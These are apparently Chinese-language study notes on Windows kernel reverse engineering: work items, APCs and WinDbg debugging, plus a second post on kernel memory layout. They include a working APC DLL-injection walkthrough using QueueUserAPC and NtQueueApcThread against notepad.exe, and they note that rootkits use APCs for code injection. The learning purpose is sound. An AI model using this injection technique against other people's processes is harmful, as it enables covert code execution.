        ffff808d`e09d7040 fffff807`4e63f4be nt!KiCommitThreadWait+0x144
        ffff808d`e09d70e0 fffff807`4e63efb9 nt!KeRemoveQueueEx+0x27e
        ffff808d`e09d7190 fffff807`4e63ec8e nt!IoRemoveIoCompletion+0x99
        ffff808d`e09d72b0 fffff807`4e7d2915 nt!NtWaitForWorkViaWorkerFactory+0x25e
        ffff808d`e09d7450 00007ff9`7909fa64 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff808d`e09d74c0)
        0000006d`28bff918 00007ff9`79034060 0x00007ff9`7909fa64
        0000006d`28bff920 0000006d`00000003 0x00007ff9`79034060
        0000006d`28bff928 0000006d`2896e000 0x0000006d`00000003
        0000006d`28bff930 0000016e`7600a150 0x0000006d`2896e000
        0000006d`28bff938 00000000`00000000 0x0000016e`7600a150

我傻了，可以不用这么麻烦的，直接用!thread addr可以直接看到该线程所属的进程

这个问题后面还有一个问题，就是将第四个参数（ProcessHandle）设置为非Non-NULL的再测试一下，我设置成了当前进程的句柄，结果显示创建出来的线程是运行在用户进程下的，对驱动程序代码做了如下修改

HANDLE process_id = PsGetCurrentProcessId();
// retrive process handle
HANDLE process = NULL;
OBJECT_ATTRIBUTES obj_attr;
CLIENT_ID cid;
cid.UniqueProcess = process_id; //PsGetCurrentProcessId();
cid.UniqueThread = NULL; //(HANDLE)0;
InitializeObjectAttributes(&obj_attr, NULL, 0, NULL, NULL);
ZwOpenProcess(&process, PROCESS_ALL_ACCESS, &obj_attr, &cid);
HANDLE thread_handle;
NTSTATUS ret = PsCreateSystemThread(&thread_handle, GENERIC_ALL, NULL, process, NULL, thread_routine, NULL);

5: kd> dq /c 1 (rsp+128h) L1
DBGHELP: SharedUserData - virtual symbol module
ffff808d`e25871b8  ffffffff`8000477c
5: kd> !handle ffffffff`8000477c

PROCESS ffff8a0722f240c0
    SessionId: 2  Cid: 2d5c    Peb: c4ee341000  ParentCid: 1e94
    DirBase: 1b7ff7000  ObjectTable: ffffa2829aacfd80  HandleCount:  65.
    Image: ioctlapp.exe

Kernel handle table at ffffa28294c05ac0 with 4835 entries in use

8000477c: Object: ffff8a0721bd4080  GrantedAccess: 001fffff (Protected) (Audit) Entry: ffffa2829d4fbdf0
Object: ffff8a0721bd4080  Type: (ffff8a0715aa24e0) Thread
    ObjectHeader: ffff8a0721bd4050 (new version)
        HandleCount: 1  PointerCount: 2
5: kd> !thread ffff8a0721bd4080
THREAD ffff8a0721bd4080  Cid 2d5c.27c8  Teb: 0000000000000000 Win32Thread: 0000000000000000 TERMINATED
Not impersonating
DeviceMap                 ffffa2829bdb1e90
Owning Process            ffff8a0722f240c0       Image:         ioctlapp.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      0              Ticks: 78372 (0:00:20:24.562)
Context Switch Count      1              IdealProcessor: 5             
UserTime                  00:00:00.000
KernelTime                00:00:00.000
Win32 Start Address SIoctl!thread_routine (0xfffff80754a610e0)
Stack Init ffff808de123f650 Current ffff808de123f5e0
Base ffff808de1240000 Limit ffff808de1239000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP          RetAddr           : Args to Child                                                           : Call Site
ffff808d`e123f620 00000000`00000000 : ffff808d`e1240000 ffff808d`e1239000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x2a

可以看到是在用户进程下的

Work Items

workitems是等待被线程处理的任务队列，本质上是一个链表

kd> dt nt!_IO_WORKITEM
   +0x000 WorkItem         : _WORK_QUEUE_ITEM
   +0x020 Routine          : Ptr64     void 
   +0x028 IoObject         : Ptr64 Void
   +0x030 Context          : Ptr64 Void
   +0x038 Type             : Uint4B
   +0x03c ActivityId       : _GUID
kd> dt nt!_WORK_QUEUE_ITEM
   +0x000 List             : _LIST_ENTRY
   +0x010 WorkerRoutine    : Ptr64     void 
   +0x018 Parameter        : Ptr64 Void

在初始化之后会被插入到由KPRCB中的ParentNode指针指向的一个队列中

kd> dt nt!_KPRCB
+0x5338 ParentNode       : Ptr64 _KNODE

这个KNODE和ENODE的关系跟ETHREAD和KTHREAD是一样的，因为KNODE是ENODE的第一个成员，所以两者的地址也是一样的

kd>  dt nt!_ENODE
   +0x000 Ncb              : _KNODE
   +0x0c0 ExWorkerQueues   : [7] _EX_WORK_QUEUE
   +0x2f0 ExpThreadSetManagerEvent : _KEVENT
   +0x308 ExpWorkerThreadBalanceManagerPtr : Ptr64 _ETHREAD
   +0x310 ExpWorkerSeed    : Uint4B
   +0x314 ExWorkerFullInit : Pos 0, 1 Bit
   +0x314 ExWorkerStructInit : Pos 1, 1 Bit
   +0x314 ExWorkerFlags    : Uint4B
kd> dt nt!_KNODE
   +0x000 DeepIdleSet      : Uint8B
   +0x040 ProximityId      : Uint4B
   +0x044 NodeNumber       : Uint2B

ExWorkerQueues就是workitem将要被插入的队列

kd>  dt nt!_EX_WORK_QUEUE
   +0x000 WorkerQueue      : _KQUEUE
   +0x040 WorkItemsProcessed : Uint4B
   +0x044 WorkItemsProcessedLastPass : Uint4B
   +0x048 ThreadCount      : Int4B
   +0x04c TryFailed        : UChar

函数ExQueueWorkItemEx负责将workitem插入队列，ExpWorkerThread函数负责从队列中取出workitem

稍微看一下ExQueueWorkItemEx的汇编代码

kd>  uf nt!ExQueueWorkItemEx
...
fffff802`35bfefc3 65488b042520000000 mov   rax,qword ptr gs:[20h]
fffff802`35bfefcc 4c8b8038530000  mov     r8,qword ptr [rax+5338h]
fffff802`35bfefd3 410fb74044      movzx   eax,word ptr [r8+44h]     ; eax就是KNODE的NodeNumber字段，再往后的代码我也看不太懂了，不管了，先做题
fffff802`35bfefd8 8bc8            mov     ecx,eax
fffff802`35bfefda 488d0440        lea     rax,[rax+rax*2]
fffff802`35bfefde 48c1e006        shl     rax,6
fffff802`35bfefe2 4803c5          add     rax,rbp
fffff802`35bfefe5 493904ce        cmp     qword ptr [r14+rcx*8],rax
fffff802`35bfefe9 0f84010ce6ff    je      nt!ExQueueWorkItemEx+0xe0 (fffff802`35a5fbf0)  Branch
...

由于ExpWorkerThread运行在System下，所以workitem也是在System下被执行的，IRQL位PASSIVE_LEVEL

题目是：

如何确定ExpWorkerThread是负责从队列中取出并执行workeritem的函数，该函数没有文档

提示：编写驱动

驱动项目地址

关键代码

PIO_WORKITEM work_item= IoAllocateWorkItem(DeviceObject);
IoQueueWorkItem(work_item, &WorkItem, CriticalWorkQueue, NULL);

这里的WorkItem是将要被线程执行的例程

VOID WorkItem(
    _In_ PDEVICE_OBJECT DeviceObject,
    _In_opt_ PVOID Context
)
{
    UNREFERENCED_PARAMETER(DeviceObject);
    UNREFERENCED_PARAMETER(Context);
    TestFunction();
}

只要在TestFunction下断点，然后在TestFunction第二次被触发的时候查看调用栈即可找到处理WorkItem的是哪个函数

他后面还有一个问题，就是怎么知道ExpWorkerThread是运行在System下的，这个问题也很好解答，对WorkItem例程稍作修改即可

VOID WorkItem(
    _In_ PDEVICE_OBJECT DeviceObject,
    _In_opt_ PVOID Context
)
{
    UNREFERENCED_PARAMETER(DeviceObject);
    UNREFERENCED_PARAMETER(Context);
    TestFunction();
    PKTHREAD  Self = KeGetCurrentThread();
    KeSetPriorityThread(Self, LOW_REALTIME_PRIORITY);
}

还是在TestFunction方法下断点，在第二次触发的时候，观察KeGetCurrentThread函数调用之后rax的值，此时rax作为该函数的返回值就是KTHREAD结构体的地址

接着做题，下一题是让跟一下几个函数的汇编代码，解释一下他们是怎么工作的，这里我就只做第一个，IoAllocateWorkItem函，题解

Asynchronous Procedure Call -- APC

字面意思就是异步过程调用

APC用于实现很多重要的操作，例如异步IO，线程挂起以及进程终止等操作

这个东西几乎是没有文档的，官方的驱动的开发手册只稍微提了一嘴，并没有提供更详细的东西

不过对于日常的逆向工作，并不用了解太多APC的底层细节

这节将会介绍APC是啥玩意及用法

APC基础

通俗来讲，ACP就是一个运行在特定线程context下的函数

可以被分成用户模式和内核模式，内核模式下的APC又可以被分为normal和special

normal：运行在PASSIVE_LEVEL下
special：运行在APC_LEVEL下

由于APC是运行在线程中的，所以总是会和一个ETHREAD关联

APC的定义如下：

kd> dt nt!_KAPC
   +0x000 Type             : UChar
   +0x001 SpareByte0       : UChar
   +0x002 Size             : UChar
   +0x003 SpareByte1       : UChar
   +0x004 SpareLong0       : Uint4B
   +0x008 Thread           : Ptr64 _KTHREAD
   +0x010 ApcListEntry     : _LIST_ENTRY
   +0x020 KernelRoutine    : Ptr64     void 
   +0x028 RundownRoutine   : Ptr64     void 
   +0x030 NormalRoutine    : Ptr64     void 
   +0x020 Reserved         : [3] Ptr64 Void
   +0x038 NormalContext    : Ptr64 Void
   +0x040 SystemArgument1  : Ptr64 Void
   +0x048 SystemArgument2  : Ptr64 Void
   +0x050 ApcStateIndex    : Char
   +0x051 ApcMode          : Char
   +0x052 Inserted         : UChar

该结构体由KeInitializeApc进行初始化

NTKERNELAPI VOID KeInitializeApc(
    PKAPC Apc,
    PKTHREAD Thread,
    KAPC_ENVIRONMENT Environment,
    PKKERNEL_ROUTINE KernelRoutine,
    PKRUNDOWN_ROUTINE RundownRoutine,
    PKNORMAL_ROUTINE NormalRoutine,
    KPROCESSOR_MODE ProcessorMode,
    PVOID NormalContext
);

NTKERNELAPI BOOLEAN KeInsertQueueApc(
    PRKAPC Apc,
    PVOID SystemArgument1,
    PVOID SystemArgument2,
    KPRIORITY Increment
);

Callback prototypes

typedef VOID (*PKKERNEL_ROUTINE)(
    PKAPC Apc,
    PKNORMAL_ROUTINE *NormalRoutine,
    PVOID *NormalContext,
    PVOID *SystemArgument1,
    PVOID *SystemArgument2
);
typedef VOID (*PKRUNDOWN_ROUTINE)(
    PKAPC Apc
);

typedef VOID (*PKNORMAL_ROUTINE)(
    PVOID NormalContext,
    PVOID SystemArgument1,
    PVOID SystemArgument2
);

typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment,
    InsertApcEnvironment
} KAPC_ENVIRONMENT, *PKAPC_ENVIRONMENT;

上面的这些定义是没有文档的，书中给出来的是从别的论坛中搞的，不保熟

NTKERNELAPI VOID KeInitializeApc(
    PKAPC Apc,
    PKTHREAD Thread,
    KAPC_ENVIRONMENT Environment,
    PKKERNEL_ROUTINE KernelRoutine,
    PKRUNDOWN_ROUTINE RundownRoutine,
    PKNORMAL_ROUTINE NormalRoutine,
    KPROCESSOR_MODE ProcessorMode,
    PVOID NormalContext
);

参数说明：

Apc：由调用者分配的一块buffer，从non-paged pool中分配（ExAllocatePool）
Thread，该apc所关联的线程
Environment：apc的执行环境，例如：OriginalApcEnvironment意味着apc将会运行在线程的进程context中（什么玩意儿，完全看不懂在说啥）
KenerlRoutine：在APC_LEVEL下以内核模式执行的函数
RundownRoutine：线程终止的时候，该例程将会被执行
NormalRoutine：在PASSIVE_LEVEL下以ProcessorMode执行的函数

在KTHREAD的ApcState成员中有一个ListEntry

kd> dt nt!_KTHREAD
   ...
   +0x098 ApcState         : _KAPC_STATE
   ...
kd> dt nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x020 Process          : Ptr64 _KPROCESS
   +0x028 KernelApcInProgress : UChar
   +0x029 KernelApcPending : UChar
   +0x02a UserApcPending   : UChar

ApcState中存储了两个队列，一个用于内核模式，另一个用于用户模式

这个在后面的调试过程中是可以观察到的：

fffffa801a332b00为插入APC的线程地址

首先使用windbg的!apc命令得到内核模式和用户模式两个队列（链表）的地址，可以看到分别为fffffa801a332b98和fffffa801a332ba8

kd> !apc thre fffffa801a332b00
Thread fffffa801a332b00 ApcStateIndex 0 ApcListHead fffffa801a332b98 [KERNEL]
Thread fffffa801a332b00 ApcStateIndex 0 ApcListHead fffffa801a332ba8 [USER]
    KAPC @ fffffa801a332090
      Type           12
      KernelRoutine  fffff8007a1d4f48 nt!AlpcpFreeBuffer+0
      RundownRoutine fffff8007a07bc50 nt!ExFreePool+0

下面通过解析结构体来进行验证

dt nt!_KTHREAD fffffa801a332b00

获取到ApcState成员的地址0xfffffa801a332b98

kd> dt nt!_KAPC_STATE 0xfffffa801a332b98
   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
   +0x020 Process          : 0xfffffa80`1ad56080 _KPROCESS
   +0x028 KernelApcInProgress : 0 ''
   +0x029 KernelApcPending : 0 ''
   +0x02a UserApcPending   : 0 ''

再查看ApcListHead，注意看上面的输出，第二个成员Process的偏移量为0x20，说明ApcListHead长度为0x20，即32bytes，而一个ListEntry结构体只有16字节（Flink+Blink），因此ApcListHead包含两个ListEntry，这一点从上面输出中的[2]也可以体现出来

kd> dt nt!_LIST_ENTRY 0xfffffa80`1a332b98
 [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
   +0x000 Flink            : 0xfffffa80`1a332b98 _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
   +0x008 Blink            : 0xfffffa80`1a332b98 _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]

kd> dt nt!_LIST_ENTRY (0xfffffa80`1a332b98+0x10)
 [ 0xfffffa80`1a3320a0 - 0xfffffa80`1a3320a0 ]
   +0x000 Flink            : 0xfffffa80`1a3320a0 _LIST_ENTRY [ 0xfffffa80`1a332ba8 - 0xfffffa80`1a332ba8 ]
   +0x008 Blink            : 0xfffffa80`1a3320a0 _LIST_ENTRY [ 0xfffffa80`1a332ba8 - 0xfffffa80`1a332ba8 ]

这两个链表，前者存储内核模式的APC，后者存储用户模式的APC，这里通过Flink获取到用户模式的APC，即KAPC结构体中ListEntry成员的地址0xfffffa801a3320a0，减去其在KAPC中的偏移量0x10即可得到APC的真正地址fffffa801a332090

使用APC实现线程挂起操作

当一个程序想挂起一个线程的时候，内核会把一个APC弄到这个线程里面，准确来说是KTHREAD的SchedulerApc成员

使用KeInitThread函数进行初始化，然后使用KiSchedulerApc函数占用SuspendEvent事件，当程序想恢复这个线程的时候，使用KeResumeThread释放这个事件就行了

如果你不是在逆向Windows内核或者写内核模式下的RootKit，那么应该是碰不到使用APC的代码的

主要是因为这个东西他没有文档，因此很少在商业驱动中使用

但是在RootKit中，APC使用的相当频繁，因为可以使用APC从内核模式将代码注入到用户模式

RootKit的做法是将一个用户模式的APC加入到他们想要注入的进程的线程的队列中

这本书真尼玛离谱，啥都没讲，上来就让我写驱动使用APC

我在网上找到了这篇文章，先来读一下看看

这篇文章中给了一个项目地址，里面有很多APC的用法，相关的代码注释我放到了这里，下面是对其中一些用法的笔记

QueueUserAPC

这个项目中有三个APC选项，这里先来搞一下win32，就是使用微软文档中公开的方法进行APC的插入操作

大概的流程就是在目标进程的虚拟地址空间中开辟出一块内存写入要加载的dll的路径，然后获取到目标进程的一个线程句柄，最后通过QueueUserAPC将一个方法插入到该线程的APC队列中

if (!QueueUserAPC((PAPCFUNC) LoadLibraryAPtr, ThreadHandle, (ULONG_PTR) RemoteLibraryAddress)

LoadLibraryAPtr是要插入的方法，ThreadHandle是APC要插入到的线程，RemoteLibraryAddress是方法的参数

这里选择将7z.dll注入到notepad.exe进程中

为了调试方便，我在代码中加入了一个判断文件是否存在的代码，通过在debuggee中创建指定文件来触发断点

ApcDllInjector.exe执行后会阻塞，循环检测该文件是否存在，这时候启动windbg加载ApcDllInjector.pdb并切换到ApcDllInjector.exe进程空间

在QueueUserAPC函数调用完成后，查看notepad.exe进程

获取到线程地址后，使用!apc查看该线程中的APC

可以清楚地看到这里显示了两个ApcListHead，一个是KERNEL，一个是USER

其实!apc已经给出了KAPC结构体的地址，但是通过ApcListHead的地址，也可以找到KAPC的地址

根据之前了解到的通过ListEntry定位结构体地址的方法，即可计算出KAPC的地址为0xfffffa801bc89720-0x10

可以看到Thread地址是正确的，说明地址计算无误

KAPC结构体中的NormalContext就是使用QueueUserAPC插入的方法，即LoadLibraryA函数

需要切换到目标进程（notepad.exe）来查看该字段

kd> !process 0 0 notepad.exe
PROCESS fffffa801a19b080
    SessionId: 1  Cid: 0424    Peb: 7f62186b000  ParentCid: 0ef8
    DirBase: 1b10b000  ObjectTable: fffff8a0018e15c0  HandleCount: <Data Not Accessible>
    Image: notepad.exe

kd> .process /i /p /r fffffa801a19b080  
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff800`79e81930 cc              int     3
kd> u 0x000007fb`988928ac L 20
000007fb`988928ac 48895c2408      mov     qword ptr [rsp+8],rbx
000007fb`988928b1 4889742410      mov     qword ptr [rsp+10h],rsi
000007fb`988928b6 57              push    rdi
000007fb`988928b7 4883ec20        sub     rsp,20h
000007fb`988928bb 488bf9          mov     rdi,rcx
000007fb`988928be 4885c9          test    rcx,rcx
000007fb`988928c1 7415            je      000007fb`988928d8
000007fb`988928c3 488d1556ed0100  lea     rdx,[000007fb`988b1620]
000007fb`988928ca ff15e8ac1100    call    qword ptr [000007fb`989ad5b8]
000007fb`988928d0 85c0            test    eax,eax
000007fb`988928d2 0f84979a0800    je      000007fb`9891c36f
000007fb`988928d8 4533c0          xor     r8d,r8d
000007fb`988928db 33d2            xor     edx,edx
000007fb`988928dd 488bcf          mov     rcx,rdi
000007fb`988928e0 ff153abf1100    call    qword ptr [000007fb`989ae820]
000007fb`988928e6 488b5c2430      mov     rbx,qword ptr [rsp+30h]
000007fb`988928eb 488b742438      mov     rsi,qword ptr [rsp+38h]
000007fb`988928f0 4883c420        add     rsp,20h
000007fb`988928f4 5f              pop     rdi
000007fb`988928f5 c3              ret
000007fb`988928f6 90              nop
000007fb`988928f7 90              nop
000007fb`988928f8 90              nop
000007fb`988928f9 90              nop
000007fb`988928fa 90              nop
000007fb`988928fb 90              nop
000007fb`988928fc 4883ec28        sub     rsp,28h
000007fb`98892900 ff156aac1100    call    qword ptr [000007fb`989ad570]
000007fb`98892906 3d0d0000c0      cmp     eax,0C000000Dh
000007fb`9889290b 0f84545c0400    je      000007fb`988d8565
000007fb`98892911 3d590000c0      cmp     eax,0C0000059h
000007fb`98892916 740a            je      000007fb`98892922

使用IDA查看kernel32.dll中的LoadLibraryA函数的汇编代码

kd> db /c 1 000007fb`988b1620 L10
000007fb`988b1620  74  t
000007fb`988b1621  77  w
000007fb`988b1622  61  a
000007fb`988b1623  69  i
000007fb`988b1624  6e  n
000007fb`988b1625  5f  _
000007fb`988b1626  33  3
000007fb`988b1627  32  2
000007fb`988b1628  2e  .
000007fb`988b1629  64  d
000007fb`988b162a  6c  l
000007fb`988b162b  6c  l
000007fb`988b162c  00  .
000007fb`988b162d  90  .
000007fb`988b162e  90  .
000007fb`988b162f  90  .

可以确定0x000007fb988928ac就是LoadLibraryA函数，插入成功

后面的SystemArguments1字段是QueueUserAPC的第三个参数，即传给LoadLibraryA函数的参数

kd> db /c 1 0x00000013`39f00000 L20
00000013`39f00000  43  C
00000013`39f00001  3a  :
00000013`39f00002  5c  \
00000013`39f00003  50  P
00000013`39f00004  72  r
00000013`39f00005  6f  o
00000013`39f00006  67  g
00000013`39f00007  72  r
00000013`39f00008  61  a
00000013`39f00009  6d  m
00000013`39f0000a  20   
00000013`39f0000b  46  F
00000013`39f0000c  69  i
00000013`39f0000d  6c  l
00000013`39f0000e  65  e
00000013`39f0000f  73  s
00000013`39f00010  5c  \
00000013`39f00011  37  7
00000013`39f00012  2d  -
00000013`39f00013  5a  Z
00000013`39f00014  69  i
00000013`39f00015  70  p
00000013`39f00016  5c  \
00000013`39f00017  37  7
00000013`39f00018  7a  z
00000013`39f00019  2e  .
00000013`39f0001a  64  d
00000013`39f0001b  6c  l
00000013`39f0001c  6c  l
00000013`39f0001d  00  .
00000013`39f0001e  00  .
00000013`39f0001f  00  .

没毛病

NtQueueApcThread

这个函数会被上面的QueueUserAPC函数调用，调用栈如下：

0033:000007f7`b2131378 ff159a1c0100    call    qword ptr [ApcDllInjector!_imp_QueueUserAPC (000007f7`b2143018)]
0033:000007f9`4bd63650 48ff2599a91100  jmp     qword ptr [KERNEL32!_imp_QueueUserAPC (000007f9`4be7dff0)]
0033:000007f9`497ffa88 ff1522950b00    call    qword ptr [KERNELBASE!_imp_NtQueueApcThread (000007f9`498b8fb0)]
ntdll!NtQueueApcThread:
0033:000007f9`4c572ff0 4c8bd1          mov     r10,rcx

注意上面的call和jmp指令后面的是取地址，当时看的时候人傻了，以为是直接跳到这个地址上，闹笑话了

这是一个没有文档的函数，俗称Native API

网上的代码好像是有点问题，这个函数ntdll!NtQueueApcThread的参数具体要怎么传，需要跟一下QueueUserAPC函数

下面的代码是KERNELBASE!QueueUserAPC函数的汇编代码

0033:000007fc`52b6fa04 4c8bdc          mov     r11,rsp
0033:000007fc`52b6fa07 49895b08        mov     qword ptr [r11+8],rbx
0033:000007fc`52b6fa0b 49896b10        mov     qword ptr [r11+10h],rbp
0033:000007fc`52b6fa0f 49897318        mov     qword ptr [r11+18h],rsi
0033:000007fc`52b6fa13 57              push    rdi
0033:000007fc`52b6fa14 4883ec50        sub     rsp,50h
0033:000007fc`52b6fa18 498363e800      and     qword ptr [r11-18h],0
0033:000007fc`52b6fa1d 33c0            xor     eax,eax
0033:000007fc`52b6fa1f 41b901000000    mov     r9d,1
0033:000007fc`52b6fa25 492143d8        and     qword ptr [r11-28h],rax
0033:000007fc`52b6fa29 498943f0        mov     qword ptr [r11-10h],rax
0033:000007fc`52b6fa2d 498d43e8        lea     rax,[r11-18h]
0033:000007fc`52b6fa31 498bf8          mov     rdi,r8
0033:000007fc`52b6fa34 488bf2          mov     rsi,rdx
0033:000007fc`52b6fa37 488be9          mov     rbp,rcx
0033:000007fc`52b6fa3a 49c743d010000000 mov     qword ptr [r11-30h],10h
0033:000007fc`52b6fa42 4533c0          xor     r8d,r8d
0033:000007fc`52b6fa45 33d2            xor     edx,edx
0033:000007fc`52b6fa47 418bc9          mov     ecx,r9d
0033:000007fc`52b6fa4a 498943c8        mov     qword ptr [r11-38h],rax
0033:000007fc`52b6fa4e ff15d48a0b00    call    qword ptr [KERNELBASE!_imp_RtlQueryInformationActivationContext (000007fc`52c28528)]
0033:000007fc`52b6fa54 8bd8            mov     ebx,eax
0033:000007fc`52b6fa56 85c0            test    eax,eax
0033:000007fc`52b6fa58 0f88ae0c0900    js      KERNELBASE!QueueUserAPC+0x90d08 (000007fc`52c0070c)
0033:000007fc`52b6fa5e 488b442440      mov     rax,qword ptr [rsp+40h]
0033:000007fc`52b6fa63 f644244801      test    byte ptr [rsp+48h],1
0033:000007fc`52b6fa68 488b1549950b00  mov     rdx,qword ptr [KERNELBASE!_imp_RtlDispatchAPC (000007fc`52c28fb8)]
0033:000007fc`52b6fa6f 48c7c1ffffffff  mov     rcx,0FFFFFFFFFFFFFFFFh
0033:000007fc`52b6fa76 4c8bcf          mov     r9,rdi
0033:000007fc`52b6fa79 4c8bc5          mov     r8,rbp
0033:000007fc`52b6fa7c 480f45c1        cmovne  rax,rcx
0033:000007fc`52b6fa80 488bce          mov     rcx,rsi
0033:000007fc`52b6fa83 4889442420      mov     qword ptr [rsp+20h],rax
0033:000007fc`52b6fa88 ff1522950b00    call    qword ptr [KERNELBASE!_imp_NtQueueApcThread (000007fc`52c28fb0)]
0033:000007fc`52b6fa8e 85c0            test    eax,eax
0033:000007fc`52b6fa90 0f88e4e10200    js      KERNELBASE!QueueUserAPC+0xa8 (000007fc`52b9dc7a)
0033:000007fc`52b6fa96 b801000000      mov     eax,1
0033:000007fc`52b6fa9b 488b5c2460      mov     rbx,qword ptr [rsp+60h]
0033:000007fc`52b6faa0 488b6c2468      mov     rbp,qword ptr [rsp+68h]
0033:000007fc`52b6faa5 488b742470      mov     rsi,qword ptr [rsp+70h]
0033:000007fc`52b6faaa 4883c450        add     rsp,50h
0033:000007fc`52b6faae 5f              pop     rdi
0033:000007fc`52b6faaf c3              ret

而这个函数其实就是ntdll!NtQueueApcThread，通过查看KERNELBASE!_imp_NtQueueApcThread地址KERNELBASE!_imp_NtQueueApcThread (000007fc52c28fb0)中的内容可以看到

kd> dq /c 1 000007fc`52c28fb0 L1
000007fc`52c28fb0  000007fc`557d2ff0
kd> u 000007fc`557d2ff0
ntdll!NtQueueApcThread:
000007fc`557d2ff0 4c8bd1          mov     r10,rcx
000007fc`557d2ff3 b843000000      mov     eax,43h
000007fc`557d2ff8 0f05            syscall
000007fc`557d2ffa c3              ret
000007fc`557d2ffb 0f1f440000      nop     dword ptr [rax+rax]
ntdll!NtYieldExecution:
000007fc`557d3000 4c8bd1          mov     r10,rcx
000007fc`557d3003 b844000000      mov     eax,44h
000007fc`557d3008 0f05            syscall

因此QueueUserAPC函数就是对ntdll!NtQueueApcThread的封装

观察指令call qword ptr [KERNELBASE!_imp_NtQueueApcThread (000007fc52c28fb0)]之前的汇编代码，可以发现RCX、RDX、R8、R9都用于给NtQueueApcThread传输参数了

另外通过下面的方式测试出[rsp+20h]用于传输第五个参数

上面传输的5个参数中

rcx为QueueUserAPC函数的第二个参数ThreadHandle
rdx为KERNELBASE!_imp_RtlDispatchAPC地址中的内容，其实就是ntdll!RtlDispatchAPC函数的地址
r8为QueueUserAPC函数的第一个参数PAPCFUNC函数地址
r9为QueueUserAPC函数的第三个参数，即传递给PAPCFUNC函数的参数
[rsp+20h]通过栈传递的参数，即rax，是一个指针，下面经过分析之后，发现该指针也是传递给PAPCFUNC函数的参数

在后续的测试过程中，我发现我无法直接使用GetProcAddress从ntdll.dll中获取到RtlDispatchAPC函数的地址，而且使用PE-bear查看ntdll.dll发现其并没有导出RtlDispatchAPC函数

经过我的反复测试，在我的测试机上，该函数相对于ntdll.dll基地址的偏移量为0x65E04

dll的基地址很容易得到，直接把handle强转为指针即可

测试机版本：

关键代码如下：

ULONG_PTR addr_RtlDispatchAPC;
// 获取ntdll!RtlDispatchAPC函数的地址，用于作为NtQueueApcThread的第二个参数
// 由于该函数并非导出函数，因此不能直接使用GetProcAddress，只能通过偏移量进行计算
// 这个偏移量只针对win8 6.2 9200 x64版本
addr_RtlDispatchAPC = (ULONG_PTR)(void*)NtdllHandle + 0x65E04;
printf("this is the address of ntdll!RtlDispatchAPC: \t%p\n", (void*)addr_RtlDispatchAPC);

Status = NtQueueApcThread(
                    ThreadHandle,
                    (void*)addr_RtlDispatchAPC,
                    (PPS_APC_ROUTINE)LoadLibraryAPtr,
                    RemoteLibraryAddress,
                    stack_param_tester);

检测APC插入是否成功的方式和上面一样，结果显示，APC插入成功，并且成功传递了两个参数

Practical Reverse Engineering notes -- Part I

2022-07-29T00:00:00+02:00

Part I

目录可能会稍微有点乱，不要介意，凑合看吧

约定

不知道该怎么翻译的，我一律直接用英文原文，只可意会不可言传，自己去悟吧

内核调试配置

windbg启动命令

windbg32 –k net:port=50000,key=2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p


windbg64 –k net:port=50100,key=2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p

书中使用到的所有恶意样本

密码是infected

第三章

我他妈直接从第三章开始读

在读这本书的时候我一共用到了三个镜像

windows 1903 x64

windows 8.1 RTM x64

windows 8.1 RTM x86

关于windows 1903 x64的下载，我使用的是rufus的下载功能，如下图所示

在书中，作者说，如果把逆向windows驱动的任务分成两部分，那么有90%的任务是理解Windows是怎么工作的，只有10%是阅读汇编代码

这一章的主要内容就是讲解Windows内核，而且是针对逆向的内核讲解

最后以对rootkit的逆向作为这一章知识点的总结

Windows基础

先讨论Windows内核的核心概念，以及与其关联的基础数据结构和与驱动编程相关的内核对象以及逆向

内存布局

和许多操作系统的做法一样，Windows将虚拟内存分为了两部分：内核和用户空间

在32位操作系统中，用户空间为

0~0x7fffffff

即2GB

内核空间为

0x80000000~0xFFFFFFFF

也是2GB

因为32位操作系统的寻址范围就是4个GB

在64位操作系统中，概念是一样的，只不过略有不同

用户空间的范围是

0~0x000007ff`ffffffff

8TB

内核的内存空间是

 0xffff0800`00000000~0xffffffff`ffffffff

248TB

当一个进程中的线程获得CPU时间片得以运行的时候，操作系统会从一个寄存器中获得属于该进程的page directory base地址，这使得虚拟地址的映射只针对当前进程而不是其他的进程

这也是为什么存在于操作系统中的多个进程都会以为自己拥有整个用户空间的内存而互不影响

存储page directory base的寄存器是CR3

对于32位操作系统，在boot options中设置/3GB选项可以使得用户空间增长为3GB，内核空间缩小为1GB

用户和内核空间地址范围存储在两个变量中

用户空间
MmHighestUserAddress
内核空间
MmSystemRangeStart

下面是32位操作系统中这两个变量的值

kd> ddp nt!MmHighestUserAddress L1
8102c46c  7ffeffff
kd> ddp nt!MmSystemRangeStart L1
8102c470  80000000

可以看到完全符合上图中的地址范围

下面是64位的

kd> dqp nt!MmHighestUserAddress L1
fffff801`c07cd040  000007ff`fffeffff
kd> dqp nt!MmSystemRangeStart L1
fffff801`c07cd168  ffff0800`00000000

注意32和64位的用户和内核空间中间都隔了64KB（0x10000bytes->65556bytes）

这个主要是为了避免意外的越界，这64KB的空间通常被称作no-access region

根据Canonical Address的定义，64位的内核空间的起始地址并不符合要求

0xffff080000000000的二进制形式为

11111111 11111111 00001000 00000000 00000000 00000000 00000000 00000000

bits48-63为1，但是bits47为0

因此这个地址并不是内核空间真正的起始地址，真正的起始地址是0xffff800000000000

处理器的初始化

系统启动的时候会对每一个处理器进行初始化，处理器初始化的细节对与日常逆向工作来讲并不是很重要，但是了解一些核心结构体还是很重要的

PCR——processor control region

每一个处理器都拥有一个PCR，用于存储CPU的重要信息和状态

在32位操作系统中，PCR中包含了IDT的基地址以及当前的IRQL（Interrupt Request Level）

在PCR中还存在着另外一个结构体PRCB——processor region control block

